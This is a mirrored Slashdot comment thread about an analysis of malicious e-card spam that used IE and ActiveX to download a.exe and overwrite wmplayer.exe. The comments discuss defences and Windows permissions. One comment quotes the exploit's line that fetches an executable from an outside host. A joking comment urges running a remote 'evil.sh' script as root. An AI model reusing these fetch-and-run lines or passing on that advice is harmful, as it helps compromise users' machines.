Slashdot Mirror
Malicious E-Cards - An Analysis of Spam
smashr writes "I ran across this article the other day which is a rather clear analysis of a piece of malicious spam the author received. While most of us simply hit the delete key, the author has taken the time to see exactly what is going on when an innocent user clicks on one of these fake e-cards that are going around. From Russian spyware sites to over-writing wmplayer.exe this particular piece of spam is a rather nasty one."
This definitely could be a nasty little thing, thanks to poor security on remote executables. Wouldn't modification of default internet security settings go a long way to resolve this particular instance? Of course as a Mac user I don't have much to worry about with this.
Does anyone else think that our society is overdue on becoming fed up with all these sort of things?
---
Mod me down, I'm already -1...woot!
Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree. -Martin Luther
This is a fascinating bit of detective work that should serve as a reminder to all careless users (especially Windows ones) that *SPAM IS NOT BENIGN*. It's not just annoying ads for penile implants--it can be downright dangerous to your PC.
Hi. I'm Troy McClure. You might remember me from such e-mail how-to videos as "Nigeria: Your Path to Riches" and "Can I Lengthen my Penis 73 inches if I answer 22 emails?"
Yes, but they do cost a person their time. Not very much, but I think it can be safely said that most e-cards are more fun to receive than normal greeting cards. And the quality of the e-card depends on how long the person has spent to pick it out.
Any one else notice that the mail is originaly from a compuserve address? I thought that the new AOL was suposed to be safe? =)
Faith_Healer -- The antethsis to almost everything, and the worlds worst speller.
Phew, that would be scary if I used Windows....
-- Real programmers don't comment their code. It was hard to write, it should be hard to understand.
Doesn't affect me, Console e-mail with Mutt is the way to go. Mutt works on Cygwin, so Windows users don't have an excuse.
Interesting take. I know my wife likes ecards because it is of course free which beats a card and stamp. She doesn't use them very often, except when she comes across a particularly funny or expressive one, and only when we forget to get a real card... :-)
---
Mod me down...I'm already -1....woot!
Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree. -Martin Luther
I was having a discussion with a friend the other day about Outlook email virii, and I quite frankly wasn't sure anymore. If a windows box is completely updated, is it possible for an email to be able to unload/execute a virus without a user openning an attachment or clicking on an off-email link? Any examples?
--
RumorsDaily
ActiveX actually lets a webpage rewrite your wmplayer.exe file with its own version. If an Activex control can rewrite any executable on a Windows box, then I assume that any piece of the Windows kernel is vulnerable. This leads to a larger question, which is, "Is there anybody that actually uses ActiveX on a webpage, and if not, why doesn't Microsoft completely eliminate ActiveX from Internet Explorer?".
What really annoys me about e-cards is that even the legitimate ones look like spam, so much so that not only does the spam filter flag them, but I have trouble deciding if someone is being nice to me or trying to exploit my system.
With regards to the article, thats definitly one of the nastiest browser exploits i've seen in a long time, makes me glad I don't use windows and IE.
Let's make a difference
...and if I was stupid enough to actually install the crapware the strange website/email/stranger gave me.
Use Evolution instead of Outlook? Bewa
While I commend the original article as an interesting dissection of an attempted attack via spam, the heading is a little sensational. It mentions Russian spyware sites, but the site in question is Spylog.com, a reputable Russian monitoring site. Not everything on the Russian internet is malicious, and Spylog does some good work on reporting statistics about the Russian internet.
Just a minor correction.
Once again /. offers excellent analysis. spylog.com is not spyware. It's site statistics. In fact the article author says spylog.com is used to gather statistics. Slashdot editors don't read the articles?
Active X through IE has always been able to execute code on a Windows box as the user logged in. Theres nothing new about that. It looks to me like it could be an attempt to upload and install the HIJACKTHIS trojan.
I am Bennett Haselton! I am Bennett Haselton!
This story is presented as an example of the bad things that can happen from opening spam in Outlook ("If you're still using Outlook and Internet Explorer, this is a good time to find alternatives"). But the story doesn't point to any actual isssue with Outlook, only exploits in Explorer that allow downloaded code to be executed remotely. The Outlook bashing seems out of place.
--
RumorsDaily
Does this stuff get treated like a virus/trojan, rather than legitimate business?
If that Osama Bin Laden AIM virus isn't a virus, then I don't know what is. Yet I don't see news stories about the FBI or SS arresting the people that wrote it, even though they are more or less out in the open.
It seems the rule lately is if you have a commercial intent, then it's OK for you to write viruses and trojans (like weatherbug).
People actually get pissed off when we tell them they can't have weatherbug on their computer.
I've had enough abrasive sigs. Kittens are cute and fuzzy.
The author recommends moving away from Outlook and Internet Explorer, but in reality, is that just recommending "security through obscurity"? Are packages like Firebird really more secure, or is it just that black hats like this are going after the 90%+ out there using MS products due to the size of opportunity?
Not trolling, just asking an honest question here.
Stop by my site where I write about ERP systems & more
That's the point! There's no "crapware" - it's a simple file overwrite! If you're running as Admin..., you won't notice at all - your media player will just suddenly stop working.
1. Clicking can be dangerous.
2. If an operating system is that badly designed so one can actually overwrite an executable only by visiting a web page, than it's time to change the security settings.
Bite my shiny metal... oops... Nevermind!
Win98 is supposed to be gone, or no longer supported.
Assuming that, and that your WinLusers are running current versions of Windows with actual security, and they're running as regular users, a web page CAN'T overwrite anything because regular users don't have write permissions in %systemroot% or in Program Files.
Problem solved. Without a script blocker or any other third-party garbage.
Use Evolution instead of Outlook? Bewa
It's an easy way to protect yourself from all sorts of stupid stuff.
Ahem, turn off HTML viewing in your email client NOW.
Here's what I do: Bitty Browser & Andromeda
In that case, how about this... I'll send you this e-mail, and you can go open it in Outlook, and tell me what happened...
pb Reply or e-mail; don't vaguely moderate.
This story is just more proof that people need to be proactive about their email and internet browsing habits. The biggest reason that so many people fall for this sort of crap is that they expect their computer to "Just Work", like their TV or microwave. It'd be nice if PCs DID Just Work, but unfortunately it's not the case. If more Windows users would just take the time to check out more secure browsers and email clients, and be more careful about which emails they open and attachments they download, spammers would have a much harder job. It sounds really obvious to anyone savvy enough to read Slashdot, but this really isn't something that occurs to 90% of the people who own a computer.
http://www.questionablecontent.net
You mean it could overwrite /usr/bin/xmms?
-- Real programmers don't comment their code. It was hard to write, it should be hard to understand.
I would love to eliminate it. To me, it's a complex engineering problem to get rid of it. The problem is presented as this:
- spam is cheap to produce
- a sucker is born every day
- even if 70% of the spam sent out doesn't get to it's destination, millions of messages will still be received
- spam filters are not installed on all mail servers
- spam is CHEAP to produce (again)
Cost is what stops junkmailers from filling postoffice mailboxes. Cost is the biggest barrier to preventing spam. It costs $0.20 to send a bulk mail item through the postoffice, it can get expensive if you want to send millions of junk mails.
How can email on the internet remain free/cheap and still not allow spam to run rampant?
http://github.com/gbook/nidb
Quote from that article:
Conclusion
If you're still using Outlook and Internet Explorer, this is a good time to find alternatives (I suggest FireFox and Thunderbird). Crackers and spammers are getting more and more sophisticated, and are finding ways to fool even experienced and skilled computer users.
Or alternatively,
you can use an HTML disabler like noHTML for Outlook Express
Massive by Design
Do you mean at the moment, or in general?
In general, that depends. If a security hold has been found which Microsoft haven't yet fixed, then it might very well be possible.
At the moment I am not sure, but not as far as I know.
This looks pretty ugly:
.. ever </Comic book guy>
x.Open("GET", "http://adversting.co.uk/a.exe",0);
and should never have been implemented in a browser. After all, it's not a browsers task to launch files. I remember thinking this back when Windows Explorer and Internet Explorer merged into one (you can actually type URLs in your windows explorer window). <Comic book guy> Worst idea
oops ... silly me ... obviously, I meant your Microsoft(R) Windows(TM) Media Player. Nope, sorry, the quick file replacement is a feature found only on Microsoft(R) systems. Us poor Linux lusers will have to use 'apt-get install' or other equally slow technique.
I saw a similar type email -- and after reading the article downloaded the a.exe file for review:
./a.exe ./a.exe: cannot execute binary file
:)
$ file a.exe
a.exe: MS-DOS executable (EXE), OS/2 or MS Windows
Yep, appears to be a executable type file.
Hey Microsoft -- this would a HINT for inbound type files:
$ chmod 700 a.exe
Ready to execute -- what the heck. This is a sandboxed VMWAre type machine:
$
sh:
Dag nabbit, what am I doing wrong?
I've said this before and I'll say it again. Run a current version of Windows and run your programs as a regular user, not as a "power user" or as "administrator."
Then the evil e-cards can't overwrite wmplayer.exe or anythingelse.exe because regular users don't have write access to the Windows directory or the Program Files directory, where they're stored.
The same thing can happen to an idiot running Mozilla under Linux as root, or running Opera under BSD as root. Everyone here keeps missing the underlying problem because of their anti-M$ bias. Get a clue, folks. If you do stupid stuff as root you're going to break your machine no matter what OS it runs.
Use Evolution instead of Outlook? Bewa
This or a very similar attack has been around since at least November, 2003. It make use of an exploit that is suppose to be fixed by the latest IE patach:
Cumulative Security Update for Internet Explorer (832894)
About a year ago, German email users have been spammed with similar e-cards, which claimed to need a special presentation plugin. The "plugin" actually dialed an expensive premium-rate service number. Despite thousands of victims complaining about high phone bills, it took about a year to stop this kind of fraud.
> Hey Microsoft -- this would a HINT for inbound type files:
> $ chmod 700 a.exe
Similarly, deny Execute permssions in %temp% to regular users and even power users with NTFS permissions. Sure this isn't done by default, but it only needs to be set once.
In a corporate environment under Win2K or XP, you can deny Execute permissions for the entire Documents and Settings folder, where each user's %temp% is stored, and also for %systemroot%\temp if you actually still run 16-bit programs.
Use Evolution instead of Outlook? Bewa
WeatherBug is proud to be a part of the AWS Homeland Security Initiative.
I had FILEMON running (it monitors all disk i/o) and I navigated Mozilla to http://search.microsoft.com/ and entered a query in the second search textbox. Wscript.exe was fired up and it showed in FILEMON.
My solution: I renamed wscript.exe and cscript.exe so they can't execute.
And yet a person that has been surfing the web and using email for the past 6 or 7 years is still shocked when they click on Britney's Web Cam XXX HOT Pics and end up with a phone bill of $500 for dialing the Hot Russian Wives Club.
I can't find a way.
Unfortunately, Windows isn't precisely the same because its very easy in Linux to set user permissions and much more of a pain in the butt in Windows (if it's even possible in some cases.)
Go check it out. It's really, really, good, and free, as in, well, um, beer?
I have spent too many hours building elaborate rule sets, banning Class A IP's, keyword filters, etcetera. The spam still gets through and it carries nasty payload half the time. Bayesian...bayesian... bayesian...
Was the e-card itself (as viewed at the web site 123greetings.com) a problem, or was it the message itself the problem?
I get those stupid e-cards from relatives occasionally, and I never open the messages in anything but pine because they're usually loaded with crap I don't want to run.
In this case, I viewed the email in pine, copied the ecard number and viewed the stupid thing on the web site, presuming it would be from my brother (an AOL lifer), since it was my anniversary. It was unattributed on the site, so I figured it was just a spam/traffic generator.
> Tell you what sparky -- YOU try that across
> a enterprise type installation.
Done. Twice.
I'm an IT consultant, a professional. I practice what I preach and I test things. I bounce applications that don't work with MY security standards. And I'm paid well for it.
I've massaged very broken applications into a secured environment. I'm talking about really broken, designed-for-16-bit-windows applications. I've never worked with recent versions of AutoCAD but, after at least ten years of developing for 32-bit Windows, and with Win2K being four years old, Autodesk has no excuse.
Use Evolution instead of Outlook? Bewa
Well ok; so it's not ALL bad then.
Paul Lenhart writes words!
How do e-card services make money?
The less moral ones sell the email addresses they hervest from every ecard- both sender and destination.
To prove this, get 2 fresh email addresses. send an ecard from one to the other. Watch the spam roll in.
Nothing beats a real card, but while I can't remember most of the real cards I've got (though I've got em in a drawer somewhere) I sure can remember a lot of the e-cards, particularly those sent by friends when I was feeling down or something. Gotta love the internet! =)
CD burners: Roxio EasyCD Creator 5 and later work as regular users.
Scanners: I know HP doesn't support some older scanners under Win2K. Later HP ones, especially USB based ones, work fine as a regular user. The combo printer/scanners I've seen work fine as a regular user.
Programs that require Admin: That's why we have competition. I've massaged some badly behaving apps into working as a regular user - it's not hard to loosen up the minimums an app "needs". It's even easier to go to their competition (Quickbooks vs Simply Accounting: One works as a regular user, one requires "power user." Which one did I recommend?)
As for the plain "zipped-idiot.exe" e-mail? That's what Outlook 2000 and later are for: "Outlook has blocked access to the following attachments: this-is-a-bomb.exe/scr/bat/com/etc"
Use Evolution instead of Outlook? Bewa
Actually, at one in time (DotCom boom maybe?, remember "Active Desktop", the whole point of "portals") the browser was SUPPOSED to do anything and everything. Your browser was supposed to be your desktop and that's how you'd do stuff.
That was the point of a "home page", you could get your news and start up Word all on the same page.
When modding "Informative", please make sure it both has a source and IS actually informative.
Because Viruses can do better with some effort.
MSBlaster is still going around. My own average from installing a base WinXP (and forgetting the Blaster fix and other updates) is about two minutes to being infected with the Blaster worm. A friend's personal best was when he was plugging his laptop into the university's network for a bit. After sixteen (16) seconds, his machine had blaster installed and got the RPC to reboot!
E-mail just can't beat those times.
They are spam harvesters. Nothing more.
I go to great lengths to avoid having my email reach spammer lists. But it only takes one person to screw that email address by submitting it to an e-card spammer.
Do I need to attach a note to my emails?
What possesses people to do it?
Are they too busy to write me something personal? Do they feel they cannot express their greeting in words? Do they not understand how to attach images? Maybe they actually hate me...
Bastards.
Goddamn bitch whacked out on Zoloft robbed the world of Troy McClure and the incomparable Lionel Hutz.
the preceding comment is my own and in no way reflects the opinion of the Joint Chiefs of Staff
"which is a rather clear analysis of a piece of malicious spam"
...
I appreciate his effort but I don't see what's particularly clear about:
'I don't have a windows machine, and don't particularly want to run this and the other executable on one. If someone wants to investigate, feel free.'
One thing that *is* clear is that Windows machines that have installed the most recent patches from MS are not vulnerable. It is really necessary to abandon IE?
I am no MS apologist but I did not learn anything meaningful from this
Well, I'm known (to pretty much all that know me) as the computer dude... Either as the weird Linux nerd, the odd-geek who loves assembly, or just the usual gamer. Having such a reputation automatically makes the non-technically savvy expect me to fix their computers for them, and I've been doing so for many years. This is a perfect opportunity (I'd recommend the same to anyone else in my situation)
:-d
After some consideration, I think I'm going to be installing Firefox on everyone's PC's from now on (with their approval of course). A simple blurb about how insecure IE is, the ease of virus-catching (almost sounds like IE has HIV, doesnt it?), and a few key-points from IE's past and I think most of the "normal" PC users will be a quick convert. The fact it doesn't crash (least not for me) will do nothing but help as well - most of them bitch about that too.
# fuser -v
#
.
I have been putting my spam with full headers here, and hope that people investigating can use the info in the headers like IP addresses, gateways, aliases etc. As it is cached in Google so the results should show up for specific keywords.
If you are spam hunters, please be my guest and fry some spammers a***
.
To see a world in a grain of sand, and then to step back and see the beach where the sand lies
I've got a /. rss feed through a Trillian plug-in, and my window was sized just right to make the title of the article:
"Malicious E-Cards" - An anal...
I thought goatse was coming back... in the form of email.
*Shudder*
Learn something new.
Not everyone is an expert at being a sys admin nor should they have to be. Going back to the car analogy, we don't expect everyone who drives to be a mechanic. We need to stop just accepting that windows sucks and demand that Microsoft start dealing with these issues or switch to something that actually works. Let's face it, 90% of the population doesn't need windows.
I ran windows for a long time. Started on x86 hardware using MS-DOS 3.something. I finally gave up after windows XP came out. Each version of windows is just slower and more bloated then the last. I tried linux for a couple of months, but it just wasn't my cup of tea for my desktop. But even linux just works. Once it was up and running I never had any issues with it.
Last year I sat down in front of an OSX box. A week or so later I bought my first Mac ever, a powerbook. This is by far the best computer that I've ever owned. I've had it for just over a year now and I haven't had a single problem with it. The only thing I did was upgrade it to 10.3 from 10.2 and that went perfectly. I have never had to deal with malicious email. Every new virus that goes around I don't catch. I don't have any driver problems. Everything on my computer just works.
To sum up this rant, if we can't expect windows to just work then why in the hell should we use it?
"Are they too busy to write me something personal? Do they feel they cannot express their greeting in words? Do they not understand how to attach images? "
Not everyone is an artist or a writer, which is why traditional cards exist. Unfortunatelly, most E-Cards are crap.
The only E-Cards I use are from Hallmark and Apple. They seem to limit the amount of crap they send me in return for the content and bandwidth required to provide the service.
Security through obscurity never works
Hogwash. There are plenty of examples where "Security through obscurity" works just fine. Take, for example, Timothy McVeigh's execution. It took place in Indiana, but due to the large number of victims' families who wished to view the execution in Oklahoma, and who couldn't travel, the execution was broadcast via a closed-circuit satellite link to a gymnasium in Oklahoma. There was an extremely strong demand for the general public to tap into that feed. Hackers everywhere could have made an enormous name for themselves if they'd been able to intercept and decrypt that signal. But, since neither the specifics of the transmission of the signal, nor the encryption method used were ever made public, no one captured the signal, and a search for "Timothy McVeigh Execution" on Kazzaa returns 0 results. Security through obscurity worked in this example.
Here's another example. Do you have any idea about the internal layout of the Pentagon? Of course not. The floor plans are top secret. The locations of secret escape hallways are all top secret. The knowledge is "obscured." And consequently, the Pentagon has never been physically broken into. If all you naive "openness is more secure" zealots had your way, then the entire schematic of the Pentagon, Whitehouse, NORAD, and everything else would be all over the net, for us "White hats" to scrutinize and improve. Unfortunately, we'd all argue over what the "right" way to do things would be, and meanwhile, bin Laden's disciples would be delivering suicide-bomb-after-suicide-bomb to Bush's bedside.
I admit that "Security through obscurity" is not a silver bullet, and in many cases, is less desirable than open approaches. However, it is obvious that neither is your suggestion that open solutions are always best, correct. It should be clear to even the most fervent zealot that sometimes, a layer of obscurity is appropriate, and enhances the security of a situation that has already been thoroughly scrutinized by a variety of experts.
Like woodworking? Build your own picture frames.
I always send them to myself, to an address that already gets TONS of spam. Then I simply forward the card to whoever, and let them know I sent it to myself to respect their e-mail privacy.
Which brings up a good question. Would anyone be offended or mad at someone who sent you an ecard to an e-mail address you keep clean of spam?
Quitters never win, Winners never quit, But those who never win and never quit are idiots.
lynx
You could just simply not view messages from people you don't know. This would solve the majority of problems. I mean if I don't know you, I don't read mail from you, I mean their are times when I take the chance, but lets face it, how often do random people email your personal account? And if your talking a webmaster or sales account, then yes, turn off html, or have your IT guy set up your securities properly.
Anonymous Cowards - Oh God, How I hate you
I agree the users are a big problem, but the technology is horrible too, not just in Windows but all OSes. The Mac is the only system that balances the user's need to accomplish things with the protection to not do something catastrophic. It doesn't do this through tons of "Are you sure..." dialog boxes, or with Orwellian security routines, and not even through add-on programs which check up on viruses and backups.
The Mac simply has a user interface that allows you to do the things you want to do. It sounds simple, but most Mac users don't ever get to the point of confusion where they might do something stupid. The terminal isn't right there on the desktop, it's not even in the Applications folder. It's in a folder called Utilities. The Windows folder is such a generic name, it's a likely candidate to be "cleaned out" by a curious user. On the Mac it's called System which has an obvious connotation that it's important to running your computer. I could go on and on.
The interface of the machine is the easiest way to educate users. Make it intuitive and even a novice is going to play safe.
Is that ActiveX components can't be installed; there's no list of what was installed, there's no uninstall... I know there's 3rd party tools to tell you what ActiveX controls were installed, but that's only half the battle.
I've often suspected this kind of stuff is done to purposely hide stuff from users.
Kind of like how the registry is designed to hide things. Its overly complex for what it does, and its easy to hide thing there. I think its that way on purpose. So that 3rd party publishers can active programs (or deactivate them), and you either don't know or can't do anything about it.
Imagine if the registry was a plain old text file. You could back it up easily, and you'd be able to grep for changes easily. But that would defeat 1/2 its purpose, wouldn't it.
What's that old slogan? You reap what you sow..s
You were mistaken. Which is odd, since memory shouldn't be a problem for you
I was analyzing something very similar around October of last year when I worked here. They probably aren't installing a virus, per se -- more like an autoproxy which they will use to send spam or install more malware (e.g., to steal passwords or credit card numbers).
All the vulnerabilities mentioned in the article have been known for quite some time. Liu Die Yu's Unpatched IE vulnerabilities page documents several of these in detail, with exploit examples. (Note that some of the links on Liu Die Yu's site may result in popups, ironically.)
When I took a look at it, the proxy flavor of the month was most commonly referred to as ap216.exe the filename is irrelevant, obviously). A good description of it is here, in the context of its use in a phishing scam.
Note that everything done in this attack will blithely go through most firewalls -- almost all connections are initiated from within the network. Firewalls are an increasingly inadequate means of protecting users from organized and motivated attackers. IMO, any network admin who doesn't run deep-packet inspection firewalls, intrusion prevention, or security-minded filtering application proxies is asking for it.
Sure, someone could write something to quietly delete all the files on your hard drive. I'm sure he'd rather have all the spam your machine can send, or all the money from your bank account.
phil
Isn't it funny how we have people complaining how windows auto-update can download patches automatically into users machines and how this is dangerous but at the same time we blame these windows users for not updating their pcs. So when you have tens of millions of windows pcs would you rather MS update them automatically or not? This is problem a dumb question because I bet the /. crowd is divided on it as a matter of privacy and annoyance.
I once posted here how McAfee's software broke my Win2K installation my messing up a bunch of file types and prompting "Preparing to Install..." every time I tried launching IE. Haven't touched or recommended McAfee's software ever since.
While Norton AV works as a regular user, it obviously can't get to stuff restricted from the regular user.
Aside from that I admit I can't tell you how Norton behaves as a regular user, because clients those networks I've locked down actually don't need AV software on the desktop! A Snapgear firewall catches worms before the fact, Outlook 2K catches executable attachments before the fact, and denying Execute permissions in %temp% and Documents and Settings stops viruses in zip files before the fact. And even if something gets past all that, what harm can the virus do running as a regular user? Take up CPU time until the user logs off?
Heh, the virus would probably crash to Dr Watson because it wasn't designed to run as a regular user. heh heh heh heh
Use Evolution instead of Outlook? Bewa
Windows 2000 and up have "run as" functionality, which allow you to run binaries as another user (normally Administrator). Just right-click on it.
I have everyone running as "Power Users" on Win2k desktops, and I'm considering trying to get that down to the lower setting where nothing can be installed.
WMBC freeform/independent online radio.
The phrase "a reputable Russian monitoring site" only makes sense if you think monitoring is a reputable business. I don't consider doubleclick reputable. I don't think anything in, near or around the advertsing industry can be reputable. But that's just me, move on, nothing to see here.
Remember Pivx Labs, the folks that used to host the "21 unpatched vulnerabilities in IE" page and has since switched to being a slight MS apologist? They've got a nice product which is (currently) free. What they basically did was to tighten down Windows via things from standard settings to registry tweaks to a degree which most users won't notice. Several of the recently discovered IE vulnerabilities wouldn't have worked, and Blaster wouldn't have worked either under these settings.
After trying it on my workstation for a couple of weeks, I've started deploying it to others. It seems to interfere with Norton Antivirus, though not McAffee (which is what UMBC machines should be using anyway).
I also send out the desktops with Mozilla, Media Player Classic, RealAlternative, etc. If people want IM, I try to recommend GAIM. Open source apps tend to have been "written in a more paranoid age" as another poster put it, and also can't as easily get away with doing dumb crap. I also remove the IE and Outlook shortcuts from the desktop (but leave the IE shortcut in the start menu, because the eternally pending PeopleSoft requires it).
WMBC freeform/independent online radio.
Here's a honeypot idea: use the "spy.htm" code to add a machine to the attacker's "spy" log, then wait....
As a linux user I have to be very careful when I upload windows .exe files just in case they do something nasty like , umm ... use up diskspace
on my drive? Oh , but perhaps the spammer will get me to run a linux binary and I wouldn't have a clue what was going on as I saved the binary to my disk
, opened an xterm , typed in its name and ran it? Yes , he'll have me fooled no doubt about that!
If you are in the area, and have sufficient curiosity, you can use this map to guide you to the location mentioned above.
DISCLAIMER: it is possible that the UK NIC has the wrong information. It is possible that adversting.co.uk have nothing to do with a.exe (their web server may have been compromised).
the buddylinks spyware that the OP refers to actually pops up a box, complete with a link to a EULA, to accept or stop the install.
The text of the EULA lists all the stuff that it does - send ads out to other people on your buddy list with no action on your part. And yet people agreed to it. And in general, shrink wrap/click wrap licenses have been held as legal.
The problem is once again human nature - people are used to clicking yes on those boxes because they were originally for stuff you actually needed to view a webpage (Windows Update, shockwave and flash plugins, ect). People don't bother reading them, just click yes, and wind up installing toolbars, gator, weatherbug, bonzibuddy, and the rest of that crap.
I have blog like everyone else
I'm sorry , what planet are you on? Security has been a major issue to some of us for over a decade AT LEAST! Just because MS suddenly pricked
up its cloth ears only 5 years ago didn't mean other companies or instutions didn't give a damn. You think DEC was extolling the virtues of security in VMS back
in the 80s just for a laugh?? God I wish some of the people on here would realise that every issue in the computing industry didn't arrive when they
personally became aware of it.
The "Administrators". "Users", and "Power Users" groups all exist on WinXP home&pro. Of course, you need to know to go into the MMC computer management snap in and change the users' groups manually.
//Information does not want to be free; it wants to breed.
Ecards, party organise sites also.
I also nicely ask people who send me 'interesting' stuff (jokes/politics/whatever) and cc people I don't know not to do it again. The second offense, I am ruder. I have had no spam ever on my 3 yr old yahoo address...
You have received an E-Card. If you're using Outlook[express], you are already infected.
For unix/linux users, run "exec -o lynx --dump http://oursite.com/evil.sh". This command should be ran as root. You may need to compile lynx from source.
Contact Me (got tired of viruses emailing me).
I don't think they want to make substantial changes. It's convenient for the user having everything on by default, new users having admin priviledges, and so on. Microsoft employs some very smart people. If the company was serious about good security, they could have changed things.
...that Microsoft really would like to change it. They're not exactly too happy about their reputation for spam etc. Then real issue is that consumers don't want security - oh they say they do but they don't. They just want to have their cake and eat it too.
But that would make everything harder for the end user. MS made a conscious decision against that. The statements about being really serious about security now which come up now and then are just cheap talk.
Users expect being able to double-click a file and have an application run or install itself - yet they would like it not to happen when they do the exact same with a virus/trojan. They would like all their favorite programs to be allowed access the internet - and for all spyware/trojans to be blocked automatically. They would like for their files to be private - but not the hassle of identifying to the computer.
It's as if they expect the computer to be a fucking telepath with a mind-boggling good AI. The real truth is that most people don't understand a computer worth shit. Sec-uh-rity even less.
They're like a kid with a full chemistry set. They'll play around with it, and most of the time it's cool. Then they manage to make something toxic or explosive or worse, but somehow that's the chemistry set's fault and it simply shouldn't allow you to make anything dangerous.
But try suggesting to them up front that they should get a "Chemistry kit for Kids" or "Chemistry kit for dummies" where it's reaaaally hard to screw up and they'll complain their wits out that it doesn't do what they want and that they're ready for the real deal and that they know what they're doing.
So what do you do when grown men want to buy the full kit, even when you know it'll blow up in their faces? Refuse to sell it to them? Require a "driver's licence" of sorts? Don't tell me it'll all be better with Linux. Right now it's so hard, they won't use it at all, but by the time it gets easy enough that you expect everyone to manage their own desktop (as opposed to now, where you mostly need the local Linux guru), they will screw up their machines just as badly.
Kjella
Live today, because you never know what tomorrow brings
I was going to moderate this message, but I wanted to respond.
At greeting card stores, they have blank greeting cards. For instance, if it's a happy birthday card, on the front might be an 8 year old girl blowing out birthday candles and nothing else is on the front or inside of the card. Just get that and copy the greeting from the e-card site, it shows the receiver that you're giving personal attention to them with an "original" greeting, as opposed to a pre-printed greeting.
Email invitations, greeting cards and such are so tactless anyway. You and your wife can expel the $.99, if that, to get a nice card, or like I said above, make your own. Trust me, your friends you send cards to will appreciate the effort.
I'm not so sure this hijacker found a way to fool "even experienced and skilled computer users". Anybody with even a very basic know-how of how to safely use a web browser knows that you shouldn't even go to websites if you don't know and trust the person or organization directing you to that website (especially if you're running IE!).
The author fingers the hosting company for the spammer located in the US.
Can someone with a dslreports.com account get this listed as a news item?
Thanks.
They can still have a huge effect on things, remember your address book is available as a 'user'.
So is the ablity to spam out via smtp.... Or turned into DDOS node...
True, its harder to trash the system, but as far as causing issues for all your friends, you dont need much in the way of rights....
This applies to whatever OS you use really....
---- Booth was a patriot ----
this guy would go to the PIs and contract clap, just to see what its like...
Wishing I was a millionaire since 1969.
Anyone knows how to disable html completely in Mail?
Going to preferences, viewing, and unchecking the "display images and embedded objects" doesn't work properly.
I find Mail very incomplete, but it has a plugin for easy viewing hotmail mail. Anyone know something similar for thunderbird?
Open Source Java Web Forum with LDAP authentication
"What really annoys me about e-cards is that even the legitimate ones look like spam"
Send people a tutorial on how to _attach_ the cute picture to the email, and write the text themselves?
Saves us all time...
If you did get some growth, you'd be lucky if it were benign. One-eyed trouser trout - ha! Think three-eyed fish from the Simpons!
This issue is a bit more complicated than you think.
The only real "exploit" here is the activeX installer. Most email clients render plain-text URLs clickable anyway.
.exe but think activeX, expecially when its "signed," means that its safe.
There's a reason why this stuff is written with activex controls - they look official like they're from the operating system. Disable activex and watch the spyware go away. It seems most people know not to download an
I wonder how many ships of the same class as the HMS Beagle were made, and how much it'll cost the locals to get it endorsed as 'authentic'?
And isn't it amazing how these fans of evolutionary theory are almost religious about it all?
Evolutionism is a religion when they say that they know how something evolved. Creationism is a science when they find a fossilized hat and disprove the accuracy of commonly accepted dating methods.
I don't know much about windows except the fact that...everything is already done by someone else.
Therein lies the problem. One can relatively secure a Linux box in half an hour:
1. Disable unnecessary services.
2. Configure iptables.
3. Update to latest versions.
4. Run through CERT security checklist
Try disabling IIS on Windows Server and see what else breaks.
You think you have to do all that to compromise your system?
Better think again.
. Quit playing Monopoly with Bill. Switch to one of many non-Microsoft products today.
Was the (Cough) "new feature" originally only intended for internal use (where they know how really risky using their own products can be), or is Regedit going to replace menus in future versions of Windows?
Out of curiosity, I tried to make my own version of the exploit. I didn't overwrite WMP, but I had it write a file to disk.
On Win2k/IE6, I get two warning dialogs.
On my coworker's XP machine, it just plain doesn't work.
Maybe if we had done stuff with HTML mail instead of inside IE it would have worked...
As Unix(*) users, we feel pretty confident when confronted with this kind of a.exe crap. But seriously, what would have happened, if the file was a Linux executable? A shell or perl script? Are we still secure? Maybe, maybe not:
The biggest asset of the Unix community is still the high level computer literacy amongst its users. We're smarter than regular Windows users on the average, and we know better than to blindly click on links when we're being told to. But with growing Linux popularity, we're bound to "inherit" more unsavvy and clueless computer users, which would be just as malleable as Windows users.
The last line of defense(tm) consists of just two principles:
Will that be enough, once spammers start targetting Linux? Let's hope for the best.
(*) Unix in the generic sense, not Darl's.
cpghost at Cordula's Web.
> If you've going to have to replace most of
:-) Only instead of patching Microsoft OSes I'd be patching Linux OSes and closing different IP ports. Same garbage, different OS.
> your application software and half your
> peripherals to run as a regular user,
> wouldn't it be easier to just replace your
> operating system?
People won't switch from what they've grown accustomed to. It's actually easier to replace hardware once, and certain applications once, than to replace an OS, notably across a whole enterprise. And it's actually easier to replace Win95/Win98 with Win2K than is it to replace it with XP, never mind any Linux distro or BSD.
> Because then you'd keep Microsoft apologists
> like him out of work.
He hit the nail on the head there.
Sure, this keeps me in contracts. If people were really scared of Windows they'd all switch to OpenBSD. But they won't. They'll just secure their Windows desktops like the pros do.
And I don't need M$ bugs to keep me employed - there are plenty of idiots out there writing viruses to keep me in work for years to come.
Use Evolution instead of Outlook? Bewa
Nothing else. All the other troubles are due to the execution of scripts. If the various graphical email programs would just stick to rendering html and leave javascript and others untouched then there would be no email-virusses. (well except for the ones launched through buffer overflows)
So it would only require a little bit of thought to give people the "nice" look off html email without the security problems. Prohibit external links and only allow links to attached files (wich since they are links without script can't be executed until the viewer clicks them) and you will even remove the privacy invasion. All the attractiveness of the web without the insecurity.
Given all that why exactly was the execution of code added to email? There must have been a decission made at MS at sometime but anyone ever see the reasons for it?
Oh and don't get me wrong. I hate html formatted emails since they are pain to read on remote shell. Sadly I am a linux geek and everyone else seems to disagree. No other slashdotters do not matter, you are geeks too.
MMO Quests are like orgasms:
You may solo them, I prefer them in a group.
And when it gets hacked, it's usually because someone is using an extension that tries to do a lot, or isn't as popular as the default ones, or is non-standard.
Go figure.
THIS THING CAN TURN ON A DIME, MACROSSZERO STYLE ALSO FUCK BETA, ~NYORON
There's your problem. If you knew Unix inside and out, or even non-inverted (right side out), you'd have no problems.
A lot of people are blaming this on allowing HTML in email, but the fact is that HTML is a *STATIC* language... it can't - or at least shouldn't be able to - hurt your PC.
Now, by either having a parse exploit with the HTML (bad client coding), or allowing scripts (really poor security) then problems arise...
Personally, I dumped Outlook a loooong time ago. Thunderbird is nice and not hard for most users to switch to, my primary beef is that it doesn't seem to have an option to block images but allow by sender/site - or to allow a particular message to be clicked to show images (some catalogues I get via subscription in my email have images I want to see)
